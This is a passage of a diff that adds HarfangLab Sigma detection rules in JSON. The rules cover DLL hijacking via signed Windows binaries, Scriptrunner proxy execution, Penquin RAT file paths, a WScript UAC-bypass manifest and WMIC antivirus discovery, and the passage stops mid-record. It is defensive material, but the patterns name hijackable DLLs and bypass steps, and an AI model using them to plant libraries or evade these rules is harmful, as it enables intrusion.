+  "rule_id": "3c24db86-ccf8-47c4-8cd0-8fc0a0e0b4f2",
+  "rule_name": "DLL Hijacking via dmnotificationbroker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dmnotificationbroker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3c4e7150-691f-44ce-b899-5ce197963e39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081678Z",
+  "creation_date": "2026-03-23T11:45:34.081680Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081685Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_whoami.yml",
+  "content": "title: DLL Hijacking via whoami.exe\nid: 3c4e7150-691f-44ce-b899-5ce197963e39\ndescription: |\n    Detects potential Windows DLL Hijacking via whoami.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'whoami.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\AUTHZ.dll'\n            - '\\netutils.dll'\n            - '\\SspiCli.dll'\n            - '\\version.dll'\n            - '\\wkscli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3c4e7150-691f-44ce-b899-5ce197963e39",
+  "rule_name": "DLL Hijacking via whoami.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via whoami.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3c604ffa-3752-4605-b05e-b1f5945d7fc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080350Z",
+  "creation_date": "2026-03-23T11:45:34.080352Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080356Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/",
+    "https://attack.mitre.org/techniques/T1202/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1202_indirect_command_execution_scriptrunner.yml",
+  "content": "title: Indirect Command Executed via Scriptrunner.exe\nid: 3c604ffa-3752-4605-b05e-b1f5945d7fc5\ndescription: |\n    Detects the execution of the legitimate Scriptrunner.exe Windows binary, used to provide an interface between the Command Prompt and Windows Explorer.\n    Attackers may abuse it to bypass security restrictions by using Scriptrunner to proxy the execution of other binaries.\n    It is recommended to investigate the file provided in the command-line to determine whether this action was legitimate.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/\n    - https://attack.mitre.org/techniques/T1202/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/02\nmodified: 2025/01/31\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Scriptrunner\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\Scriptrunner.exe'\n        - OriginalFileName: 'Scriptrunner.exe'\n\n    selection_args:\n        CommandLine|contains: 'appvscript '\n\n    exclusion_kopia:\n        CommandLine: 'ScriptRunner.exe -appvscript KopiaUI-Setup-*.exe /S /allusers /disableAutoUpdates -appvscriptrunnerparameters -wait -timeout=300'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3c604ffa-3752-4605-b05e-b1f5945d7fc5",
+  "rule_name": "Indirect Command Executed via Scriptrunner.exe",
+  "rule_description": "Detects the execution of the legitimate Scriptrunner.exe Windows binary, used to provide an interface between the Command Prompt and Windows Explorer.\nAttackers may abuse it to bypass security restrictions by using Scriptrunner to proxy the execution of other binaries.\nIt is recommended to investigate the file provided in the command-line to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-01-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3c84803e-609a-4dfe-8406-a744c8d5ce88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098165Z",
+  "creation_date": "2026-03-23T11:45:34.098167Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098171Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fsquirt.yml",
+  "content": "title: DLL Hijacking via fsquirt.exe\nid: 3c84803e-609a-4dfe-8406-a744c8d5ce88\ndescription: |\n    Detects potential Windows DLL Hijacking via fsquirt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fsquirt.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\dwmapi.dll'\n            - '\\mswsock.dll'\n            - '\\OLEACC.dll'\n            - '\\powrprof.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3c84803e-609a-4dfe-8406-a744c8d5ce88",
+  "rule_name": "DLL Hijacking via fsquirt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fsquirt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3cb2591b-d815-4683-980f-4d8f4073576a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098712Z",
+  "creation_date": "2026-03-23T11:45:34.098714Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098719Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/revil-ransomware-uses-dll-sideloading/",
+    "https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/",
+    "https://www.fortinet.com/blog/threat-research/dll-side-loading-technique-used-in-recent-kaseya-ransomware-attack",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msmpeng.yml",
+  "content": "title: DLL Hijacking via MsMpEng.exe\nid: 3cb2591b-d815-4683-980f-4d8f4073576a\ndescription: |\n    Detects potential Windows DLL Hijacking via MsMpEng.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.mcafee.com/blogs/other-blogs/mcafee-labs/revil-ransomware-uses-dll-sideloading/\n    - https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/\n    - https://www.fortinet.com/blog/threat-research/dll-side-loading-technique-used-in-recent-kaseya-ransomware-attack\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'MsMpEng.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith:\n            - '\\mpsvc.dll'\n            - '\\vftrace.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Program Files\\Windows Defender\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Program Files\\Windows Defender\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3cb2591b-d815-4683-980f-4d8f4073576a",
+  "rule_name": "DLL Hijacking via MsMpEng.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via MsMpEng.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3cbf8724-1817-4afc-88cf-2dc0f1eb9faa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088359Z",
+  "creation_date": "2026-03-23T11:45:34.088362Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088366Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/tactics/TA0002/",
+    "https://attack.mitre.org/groups/G0010/",
+    "https://attack.mitre.org/software/S0587/"
+  ],
+  "name": "t1105_penquin_turla_suspicious_file_creation.yml",
+  "content": "title: Suspicious File Creation Related to Penquin\nid: 3cbf8724-1817-4afc-88cf-2dc0f1eb9faa\ndescription: |\n    Detects the creation of files with names linked to the malware Penquin.\n    Penquin is a remote access trojan (RAT) used by the Turla attacker group to target Linux systems since at least 2014.\n    Those names are related to files that are downloaded from the C&C server to be executed.\n    It is recommended to investigate the process tree for suspicious activities.\nreferences:\n    - https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/tactics/TA0002/\n    - https://attack.mitre.org/groups/G0010/\n    - https://attack.mitre.org/software/S0587/\ndate: 2023/01/11\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.command_and_control\n    - attack.t1105\n    - attack.g0010\n    - attack.s0587\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Malware.Penquin\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind: 'access'\n        Permissions: 'write'\n        Path:\n            - '/tmp/.xdfg'          # Penquin, Penquin_2.0\n            - '/root/.session'      # Penquin_x64\n            - '/root/.hsperfdata'   # Penquin_x64\n            - '/tmp/.sync.pid'      # Penquin_x64\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3cbf8724-1817-4afc-88cf-2dc0f1eb9faa",
+  "rule_name": "Suspicious File Creation Related to Penquin",
+  "rule_description": "Detects the creation of files with names linked to the malware Penquin.\nPenquin is a remote access trojan (RAT) used by the Turla attacker group to target Linux systems since at least 2014.\nThose names are related to files that are downloaded from the C&C server to be executed.\nIt is recommended to investigate the process tree for suspicious activities.\n",
+  "rule_creation_date": "2023-01-11",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3d365b91-4487-438a-badb-29c05c867216",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074427Z",
+  "creation_date": "2026-03-23T11:45:34.074429Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074434Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://web.archive.org/web/20150908225350/https://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_script_engine.yml",
+  "content": "title: WScript/CScript UAC Bypass Prepared\nid: 3d365b91-4487-438a-badb-29c05c867216\ndescription: |\n    Detects the preparation of a UAC bypass via wscript.exe or cscript.exe via the creation of a XScript.manifest file.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the filesystem change to look for malicious content or actions.\nreferences:\n    - https://web.archive.org/web/20150908225350/https://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/10/26\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1059.005\n    - attack.t1059.007\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith:\n            - '\\wscript.exe.manifest'\n            - '\\cscript.exe.manifest'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3d365b91-4487-438a-badb-29c05c867216",
+  "rule_name": "WScript/CScript UAC Bypass Prepared",
+  "rule_description": "Detects the preparation of a UAC bypass via wscript.exe or cscript.exe via the creation of a XScript.manifest file.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the filesystem change to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-10-26",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.005",
+    "attack.t1059.007",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3d4e7e23-3983-42cc-a582-3c2daece8466",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622543Z",
+  "creation_date": "2026-03-23T11:45:34.622545Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622549Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic",
+    "https://attack.mitre.org/techniques/T1518/001/"
+  ],
+  "name": "t1518_001_security_software_discovery.yml",
+  "content": "title: Security Software Product Discovered via WMIC\nid: 3d4e7e23-3983-42cc-a582-3c2daece8466\ndescription: |\n    Detects the discovery of the main security software product using WMIC.\n    Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\n    It is recommended to analyze WMIC's parent process to look for malicious content or other malicious actions.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic\n    - https://attack.mitre.org/techniques/T1518/001/\ndate: 2021/04/02\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1518.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct\n    selection_1:\n        - Image|endswith: '\\wmic.exe'\n        - OriginalFileName: 'wmic.exe'\n    selection_2:\n        - CommandLine|contains|all:\n            - '/Namespace'\n            - 'SecurityCenter'\n            - 'Path'\n            - 'AntiVirusProduct'\n\n    # Some uninstall/install scripts check for a single instance of a\n    # security product.\n    exclusion_specific_instanceguid:\n        CommandLine|contains: 'instanceGuid=*{????????-????-????-????-????????????}'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_jetbrains:\n        CommandLine:\n            - 'wmic /Namespace:\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName,productState' # old agent\n            - 'wmic /Namespace:\\\\\\\\root\\SecurityCenter2 Path AntivirusProduct Get displayName,productState' # new agent\n        # C:\\Program Files\\JetBrains\\IntelliJ IDEA 2020.3.1\\bin\\idea64.exe\n        # C:\\Program Files\\JetBrains\\PyCharm Community Edition 2021.1.1\\bin\\pycharm64.exe\n        # C:\\Program Files\\JetBrains\\WebStorm 2021.2.1\\bin\\webstorm64.exe\n        # C:\\Program Files\\JetBrains\\DataGrip 2021.2\\bin\\datagrip64.exe\n        # C:\\Program Files\\JetBrains\\PhpStorm 2020.3.3\\bin\\phpstorm64.exe\n        ParentImage|endswith:\n            - '\\bin\\idea64.exe'\n            - '\\bin\\pycharm64.exe'\n            - '\\bin\\webstorm64.exe'\n            - '\\bin\\datagrip64.exe'\n            - 